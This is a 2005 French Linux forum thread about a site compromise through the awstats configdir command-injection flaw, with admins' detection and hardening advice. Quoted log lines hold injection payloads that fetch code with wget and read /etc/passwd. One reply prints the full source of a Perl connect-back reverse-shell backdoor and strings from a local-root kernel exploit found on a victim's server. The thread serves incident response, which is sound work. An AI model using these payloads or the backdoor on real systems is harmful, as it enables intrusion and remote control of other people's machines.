Léa-Linux & amis :   LinuxFR   GCU-Squad   GNU
Vie du site
Envoyé par: Léa (Fred)

Vous avez sûrement constaté une interruption des services de Léa pendant quelques heures la semaine dernière. Vous connaissez sûrement aussi la raison : une faille d'awstats qui n'a pas été corrigé assez vite (par nous, mais aussi par debian ... le package n'est pas encore disponible au moment ou j'écris ces lignes, la mise à jour existant sur le site d'awstats depuis environ 2 semaines).

Un super-vilain en a profité pour h4ck3r, Léa, il y est partiellement arrivé. Mais les protections mise ne place par notre Prae national nous ont évité le pire (certaines nous ont causé le pire mais c'est une autre histoire).

Nous avons donc mis à jour awstats depuis les sources et pour évité que cela recommence (si une nouvelle faille d'awstats était découverte), nous sommes passé à une génération complètement statiques des pages de statistiques.

Voilà : c'était le quart d'heure "vie du site".

Poste le Tuesday 8 February 2005 15:56:36
Répondre     Citer    
Re: Vie du site

> il y est partiellement arrivé.

partiellement dans le sens ou il a pu inscrire des binaires dans le système grâce à la faille awstats, les executer, mais n'a jamais pu les utiliser pour hacker lea ou d'autres sites.
Donc pas de flippe inutile, c'est comme ci on avait mis "socket -sl 666" : autant dire que dalle.

J'en est profité pour remonter la piste de ««bidule»» et a récupérer la liste de certains serveurs hackés.

Pour ceux que cela amuse, connectez vous sur le serveur IRC d'undernet et allez sur le chan #we.are.bots
Faites un listing complet des personnes la dessus : si votre machine est dedans (hormis vous bien entendu) c'est que votre machine est hacké :-)
Vous aurez 10 sec maxi avant que le m3ch4nt N4ck3r vous kick en vous insultant.

Voila.
Si vous utilisez awstats, désactivez la gestion awstats par le CGI et/ou updatez Awstats vers une version 6.3 ou 6.4;

Regardez dans vos logs apache si vous voyez des trucs bizarres sur "awstats.pl"
ex:
# grep "awstats.pl" /var/log/httpd/access.log | grep '%20'

Résultat :
"GET /cgi-bin/awstats/awstats.pl?configdir=|%20id%20|" ...
"GET /cgi-bin/awstats.pl?configdir=|%20id%20|" ...
"GET /cgi-bin//awstats.pl?configdir=%20%7c%20cd%20%2ftmp%3b%20wget%20http%3a%2f%2f70.8" ...
"GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcat%20%2fetc%2fpasswd%3buname%20%2da%3bid%3bech" ...

Au passage, faites un :

# grep "Name:" /proc/[0-9]*/status | awk '{ print $2 }' | sort | uniq -c | sort -rn

et

# lsof -i | awk '{ print $1 }' | sort | uniq

Si vous voyez des programmes ayant une drole de gueule, genre "bshell", "x0a", "x0b"
ou encore dc, bind (oui oui!) ... etc...
Killez les !!

vérifiez dans /tmp et /var/tmp si vous avez des droles de programmes
Supprimez les
Si vous avez la possibilité mettez votre /tmp et /var/tmp dans un partition possédant le flag "noexec"

Si vous etes sous debian, faites un "debsums"
Normalement, si les binaires ont été executés en tant www-data ils ne peuvent pas infecter d'autres fichiers vitaux de votre système (notammenent /bin)

Si c'est le cas, réinstallez coreshell shellutils util-linux et autres joyeusetés en utilisant la prérogative --reinstall d'apt-get

Attention, les binaires peuvent se regénérer automatiquement !!
Si c'est le cas, le plus simple redemarrez en mode single et réinstallez ses binaires.
O
ui, je sais ca risque d'etre hard sur une machine à distance mais je pense que vous trouverez une méthode simple pour ne pas utilisez les binaires de /bin lors de vos commandes ;-) ... moi j'avais enlevé "/bin" dans mon PATH et j'utilisais un bin de secours et sains

Vérifiez aussi s'il n'existe pas de hook kernel (chkrootkit ou autres softs, ou bien des tutoriaux vous aiderons dans cette tache) .. au pire, updatez votre kernel et supprimez l'ancien purement et simplement.

Un petit coup de nmap pour être sur :
$ nmap localhost -p1- # scan TCP
$ nmap -sU localhost -p1- # scan UDP

Et juste pour le fun (et seulement sur un serveur en prod)
chmod "u=rwx,o=,g=" /usr/bin/wget /usr/bin/mail
chown "root :root" /usr/bin/wget /usr/bin/mail

Normalement, vous êtes le seul habitilité à faire des wget ou l'envoi de mail.

Et surtout et avant tout :

Mettez du firewalling sur votre serveur et DROP toutes connexion entrantes par défaut

/sbin/iptables -P INPUT DROP

et rajoutez des lignes iptables pour ouvrir certains ports seulement !
sur d'autres machines, c'est ce qui m'a sauvé !


Voila... bonne chance si votre serveur a été hacké et que vous n'aviez aucune protection ! :-P

--
Benjamin GIGON
SysAdmin Lea, Cuisinier Léa
bgigon AT lea-linux POINT org



Modifié 2 fois. Dernière modification le 08/02/05 16:28 par prae.

Poste le Tuesday 8 February 2005 16:23:20
Répondre     Citer    
Re: Vie du site

Je suis repassé cette aprem sur le chan du m3ch4nt N4ck3r !...
c'est impressionnant la liste des machines hackées avec le trojanbot Sadblock
Repérez juste les lignes avec des "SadB...." comme nickname si vous faites un /who #we.are.bots ...



--
Benjamin GIGON
SysAdmin Lea, Cuisinier Léa
bgigon AT lea-linux POINT org

Poste le Tuesday 8 February 2005 16:46:16
Répondre     Citer    
Re: Vie du site
Envoyé par: phenix

Mais c'est quois ce trojan en fait ?

Je me suis connecté sur ce server irc. J'ai par la suite examiné les logs de mon routeur
Tue, 2005-02-08 21:57:40 - TCP Packet - Source:193.109.122.17,4030 Destination:192.168.0.5,80 - [HTTP match]
Tue, 2005-02-08 21:57:46 - TCP Packet - Source:193.109.122.6,4335 Destination:172.207.151.71,3382 - [DOS]
Tue, 2005-02-08 21:57:46 - TCP Packet - Source:193.109.122.17,4030 Destination:192.168.0.5,80 - [HTTP match]
Tue, 2005-02-08 21:57:47 - TCP Packet - Source:193.109.122.51,4682 Destination:172.207.151.71,8000 - [DOS]
Tue, 2005-02-08 21:57:47 - TCP Packet - Source:193.109.122.13,4129 Destination:172.207.151.71,8080 - [DOS]
Tue, 2005-02-08 21:57:48 - TCP Packet - Source:193.109.122.24,4765 Destination:172.207.151.71,1080 - [DOS]
Tue, 2005-02-08 21:57:48 - TCP Packet - Source:193.109.122.53,4231 Destination:172.207.151.71,6588 - [DOS]
Tue, 2005-02-08 21:57:49 - TCP Packet - Source:193.109.122.56,4599 Destination:172.207.151.71,407 - [DOS]
Tue, 2005-02-08 21:57:49 - TCP Packet - Source:193.109.122.39,4851 Destination:1.0.0.0,23 - [TELNET match]
Tue, 2005-02-08 21:57:49 - TCP Packet - Source:193.109.122.6,4335 Destination:172.207.151.71,3382 - [DOS]
Tue, 2005-02-08 21:57:49 - TCP Packet - Source:193.109.122.17,4030 Destination:192.168.0.5,80 - [HTTP match]
Tue, 2005-02-08 21:57:49 - TCP Packet - Source:193.109.122.17,4030 Destination:192.168.0.5,80 - [DOS]
Tue, 2005-02-08 21:57:50 - TCP Packet - Source:193.109.122.51,4682 Destination:172.207.151.71,8000 - [DOS]
Tue, 2005-02-08 21:57:50 - TCP Packet - Source:193.109.122.13,4129 Destination:172.207.151.71,8080 - [DOS]
Tue, 2005-02-08 21:57:51 - TCP Packet - Source:193.109.122.24,4765 Destination:172.207.151.71,1080 - [DOS]
Tue, 2005-02-08 21:57:51 - TCP Packet - Source:193.109.122.53,4231 Destination:172.207.151.71,6588 - [DOS]
Tue, 2005-02-08 21:57:52 - TCP Packet - Source:193.109.122.39,4851 Destination:1.0.0.0,23 - [TELNET match]
Tue, 2005-02-08 21:57:52 - TCP Packet - Source:193.109.122.56,4599 Destination:172.207.151.71,407 - [DOS]
Tue, 2005-02-08 21:57:52 - TCP Packet - Source:193.109.122.6,4335 Destination:172.207.151.71,3382 - [DOS]
Tue, 2005-02-08 21:57:53 - TCP Packet - Source:193.109.122.17,4030 Destination:192.168.0.5,80 - [HTTP match]
Tue, 2005-02-08 21:57:53 - TCP Packet - Source:193.109.122.17,4030 Destination:192.168.0.5,80 - [DOS]
Tue, 2005-02-08 21:57:53 - TCP Packet - Source:193.109.122.19,4433 Destination:172.207.151.71,4480 - [DOS]
Tue, 2005-02-08 21:57:54 - TCP Packet - Source:193.109.122.13,4129 Destination:172.207.151.71,8080 - [DOS]
Tue, 2005-02-08 21:57:54 - TCP Packet - Source:193.109.122.22,4516 Destination:172.207.151.71,3128 - [DOS]
Tue, 2005-02-08 21:57:55 - TCP Packet - Source:193.109.122.53,4231 Destination:172.207.151.71,6588 - [DOS]
Tue, 2005-02-08 21:57:55 - TCP Packet - Source:193.109.122.39,4851 Destination:1.0.0.0,23 - [TELNET match]
Tue, 2005-02-08 21:57:55 - TCP Packet - Source:193.109.122.56,4599 Destination:172.207.151.71,407 - [DOS]
Tue, 2005-02-08 21:57:56 - TCP Packet - Source:193.109.122.6,4335 Destination:172.207.151.71,3382 - [DOS]
Tue, 2005-02-08 21:57:56 - TCP Packet - Source:193.109.122.17,4030 Destination:192.168.0.5,80 - [HTTP match]
Tue, 2005-02-08 21:57:56 - TCP Packet - Source:193.109.122.17,4030 Destination:192.168.0.5,80 - [DOS]
Tue, 2005-02-08 21:57:57 - TCP Packet - Source:193.109.122.19,4433 Destination:172.207.151.71,4480 - [DOS]
Tue, 2005-02-08 21:57:57 - TCP Packet - Source:193.109.122.13,4129 Destination:172.207.151.71,8080 - [DOS]
Tue, 2005-02-08 21:57:58 - TCP Packet - Source:193.109.122.22,4516 Destination:172.207.151.71,3128 - [DOS]
Tue, 2005-02-08 21:57:58 - TCP Packet - Source:193.109.122.53,4231 Destination:172.207.151.71,6588 - [DOS]
Tue, 2005-02-08 21:57:58 - TCP Packet - Source:193.109.122.39,4851 Destination:1.0.0.0,23 - [TELNET match]
Tue, 2005-02-08 21:57:59 - TCP Packet - Source:193.109.122.56,4599 Destination:172.207.151.71,407 - [DOS]
Tue, 2005-02-08 21:57:59 - TCP Packet - Source:193.109.122.6,4335 Destination:172.207.151.71,3382 - [DOS]
Tue, 2005-02-08 21:58:00 - TCP Packet - Source:193.109.122.19,4433 Destination:172.207.151.71,4480 - [DOS]
Tue, 2005-02-08 21:58:01 - TCP Packet - Source:193.109.122.22,4516 Destination:172.207.151.71,3128 - [DOS]
Tue, 2005-02-08 21:58:02 - TCP Packet - Source:193.109.122.39,4851 Destination:1.0.0.0,23 - [TELNET match]
Tue, 2005-02-08 21:58:02 - TCP Packet - Source:193.109.122.56,4599 Destination:172.207.151.71,407 - [DOS]
Tue, 2005-02-08 21:58:02 - TCP Packet - Source:193.109.122.17,4030 Destination:192.168.0.5,80 - [HTTP match]
Tue, 2005-02-08 21:58:03 - TCP Packet - Source:193.109.122.51,4682 Destination:172.207.151.71,8000 - [DOS]
Tue, 2005-02-08 21:58:03 - TCP Packet - Source:193.109.122.13,4129 Destination:172.207.151.71,8080 - [DOS]
Tue, 2005-02-08 21:58:04 - TCP Packet - Source:193.109.122.53,4231 Destination:172.207.151.71,6588 - [DOS]
Tue, 2005-02-08 21:58:05 - TCP Packet - Source:193.109.122.39,4851 Destination:1.0.0.0,23 - [TELNET match]
Tue, 2005-02-08 21:58:05 - TCP Packet - Source:193.109.122.6,4335 Destination:172.207.151.71,3382 - [DOS]

Je me suis bien sur tout de suite deconcté pour changer IP.

Poste le Tuesday 8 February 2005 21:04:56
Répondre     Citer    
Re: Vie du site
Envoyé par: phenix

Je me suis reconnecté au serveur. J'ai de nouveau les mêmes logs. C'est bien le fait de ce connecter au server qui donne ca.

Y'a a qui ne savent pas quois faire de leurs vies. smiling smiley

Poste le Tuesday 8 February 2005 21:11:53
Répondre     Citer    
Re: Vie du site
Envoyé par: nicola

Je n’ai pas eu ces machins quand je me suis connecté sur #we.are.bots… Serais-je infecté ? ;-)

--
On ne prête qu’aux riches, et on a bien raison, parce que les autres remboursent difficilement.
-+- Tristan Bernard (1866-1947) -+-

Poste le Sunday 13 February 2005 07:07:59
Répondre     Citer    
Re: Vie du site
Envoyé par: phenix

avec le recul je me demande si c'est pas les servers undernet qui verifient que je passe par un proxy non securisé

Poste le Monday 14 February 2005 00:04:40
Répondre     Citer    
Re: Vie du site
Envoyé par: prae.

Je crois que tu mélanges tout;
UnderNet est un réseau IRC connu, c'est pas le serveur du hacker...

Les scans sont des vérifications de routines du serveur IRC contre les problèmes de sécurités.
Sur certaines serveurs IRC, le résultat est affiché en fin de MOTD;

Poste le Monday 14 February 2005 09:47:56
Répondre     Citer    
Re: Vie du site
Envoyé par: mediaforest

Bonjour,

j'administre un serveur contenant de nombreux sites virtuels et le 21 février, aux alentours de 2h40 (d'après les dates des fichiers) une grande partie de mes sites ont été "défacés". Les pages index.htm index.html et index.php ont été remplacées par un message :
Citation
Noturnos Crimez
Noturnos Crimez Was Here!!!! r00ted yOu Admin? YeP YeP!
Après quelques recherches sur les mots clefs noturnos crimez, j'ai trouvé les premières informations ici : [fr.zone-h.org] mais finalement peu de détails techniques en regard au nombre de sites attaqués, sans doutes parce que la majorité des sites sont français et que nous n'avons pas encore la réactivité des anglo-saxons.

J'ai quand même trouvé rapidement des détails sur la vulnérabilité de awstats et effectué une mise à jour.
J'ai ensuite fouillé dans les logs ainsi que sur le disque


Citation
bgigon
Regardez dans vos logs apache si vous voyez des
trucs bizarres sur "awstats.pl"
et j'ai effectivement trouvé ce genre de lignes

j'ai aussi cherché dans les processus exécutés et n'ai rien remarqué de bizarre


Citation
bgigon
vérifiez dans /tmp et /var/tmp si vous avez des
droles de programmes
Supprimez les

c'est dans le dossier /var/tmp que j'ai trouvé des programmes et fichiers liés à l'attaque :
Citation

-rwxrwxrwx 1 www-data www-data 307990 2004-12-09 23:13 aVe
-rwxrwxrwx 1 www-data www-data 13985 2004-12-19 17:29 dc
-rw-r--r-- 1 www-data www-data 757 2005-02-21 02:29 dc.pl
-rw-r--r-- 1 root root 56 2005-02-21 02:40 index.html
Le fichier index.html contient le message apparaissant sur les pages défacées
et le fichier dc.pl, le code perl :
Citation

#!/usr/bin/perl
use Socket;
print "Data Cha0s Connect Back Backdoor\n\n";
if (!$ARGV[0]) {
printf "Usage: $0 [Host] <Port>\n";
exit(1);
}
print "[*] Dumping Arguments\n";
$host = $ARGV[0];
$port = 80;
if ($ARGV[1]) {
$port = $ARGV[1];
}
print "[*] Connecting...\n";
$proto = getprotobyname('tcp') || die("Unknown Protocol\n");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
die("Unable to Connect\n");
}
print "[*] Spawning Shell\n";
if (!fork( )) {
open(STDIN,">&SERVER");
open(STDOUT,">&SERVER");
open(STDERR,">&SERVER");
exec {'/bin/sh'} '-bash' . "\0" x 4;
exit(0);
}
print "[*] Datached\n\n";

les deux autres fichiers sont des exécutables ELF.
strings dc renvoie les lignes suivantes :

Citation

Issue "export TERM=xterm; exec bash -i"
For More Reliable Shell.
Issue "unset HISTFILE; unset SAVEHIST"
For Not Getting Logged.
(;

Data Cha0s Connect Back Backdoor

Usage: %s [Host] <port>
[*] Dumping Arguments
[-] Invalid Host Name
[-] Unable to Allocate Memory
[-] Invalid Port Number
[*] Resolving Host Name
[-] Unable to Resolve: %s
[*] Connecting...
[-] Socket Error
[-] Unable to Connect
[*] Spawning Shell
[-] Unable to Fork
shell /bin/sh [*] Detached

et un strings aVe renvoie, entre autres ces lignes :
Citation

[-] %s: %s
[-] Unable to exit, entering neverending loop.
Kernel seems not to be vulnerable
double allocation
Unable to determine kernel address
Unable to set up LDT
Unable to change page protection
Invalid LDT entry
Unable to jump to call gate
/bin/sh
Unable to spawn shell
PATH=/usr/bin:/bin:/usr/sbin:/sbin
Unable to allocate memory
Unable to unmap stack
Unable to expand BSS
/bin/ping
/bin/bash
MMAP #%d 0x%.8x - 0x%.8lx
[+] Success
[-] Failed
%d.%d.%d
[-] invalid kernel version string
[+] kernel %s vulnerable: %s exploitable %s
Wait..
Local Root exploit based on do_brk and do_munmap
transformed by bcb5b7f1d2a11b2d50956934d301f2f7
POLAND
Menu:

1. do_munmap attack (Tested on kernels 2.x.x)
2. do_brk attack (Tested on kernels from 2.4.18 to 2.4.22)
Your choice? :
Si quelqu'un est intéressé par l'analyse de ces fichiers, je peux les lui envoyer sans problème (archive de 143Ko)


Citation
bgigon
Si vous etes sous debian, faites un "debsums"
Normalement, si les binaires ont été executés en
tant www-data ils ne peuvent pas infecter d'autres
fichiers vitaux de votre système (notamment
/bin)

Un petit coup de nmap pour être sur :
$ nmap localhost -p1- # scan TCP
$ nmap -sU localhost -p1- # scan UDP
que devrait renvoyer ces commandes dans un état "normal"
Sur ma machine nmap localhost -p1- renvoie :
Citation

Interesting ports on localhost (127.0.0.1):
(The 65524 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
587/tcp open submission
642/tcp open unknown
953/tcp open rndc
3306/tcp open mysql
10000/tcp open snet-sensor-mgmt
Et je ne vois pas à quoi correspondent les ports
587/tcp open submission
642/tcp open unknown

Merci beaucoup pour toute information complémentaire concernant ces attaques.




Poste le Wednesday 9 March 2005 09:42:59
Répondre     Citer    
Re: Vie du site

> que devrait renvoyer ces commandes dans un état "normal"

Tout dépend de la configuration d'origine de la machine.
Les serveurs MX sont différents de ceux qui servent du contenu Web, etc...

Le mieux serait de faire un "lsof -i" et de voir si une application ne se bind/listen pas sur un port de votre système.

si vous faites un :
# cat /proc/[0-9]*/status | grep "Name:" | sort | uniq

Que cela donne-t-il ?

--
Benjamin GIGON
SysAdmin Lea, Cuisinier Léa
bgigon AT lea-linux POINT org

Poste le Thursday 10 March 2005 10:43:20
Répondre     Citer    
Re: Vie du site
Envoyé par: prospere

Moi je me suis fait piraté par des roumains :

[www.geeek.org]

A cause d'Awstats ....

Poste le Tuesday 16 May 2006 08:53:27
Répondre     Citer    

Veuillez vous authentifier auparavant pour commenter.

 

Ce forum !
Vie du site
Ce forum est réservé aux questions ayant pour sujets : les problèmes du site (liens invalides, images manquantes, autres problèmes), les remarques sur le site (félicitations, applaudissements, critiques, réclamations), les propositions (d'aide, de soutien, de modification, de création de documents ou de graphismes).

Sauf mention contraire, les documentations publiées sont sous licence Creative-Commons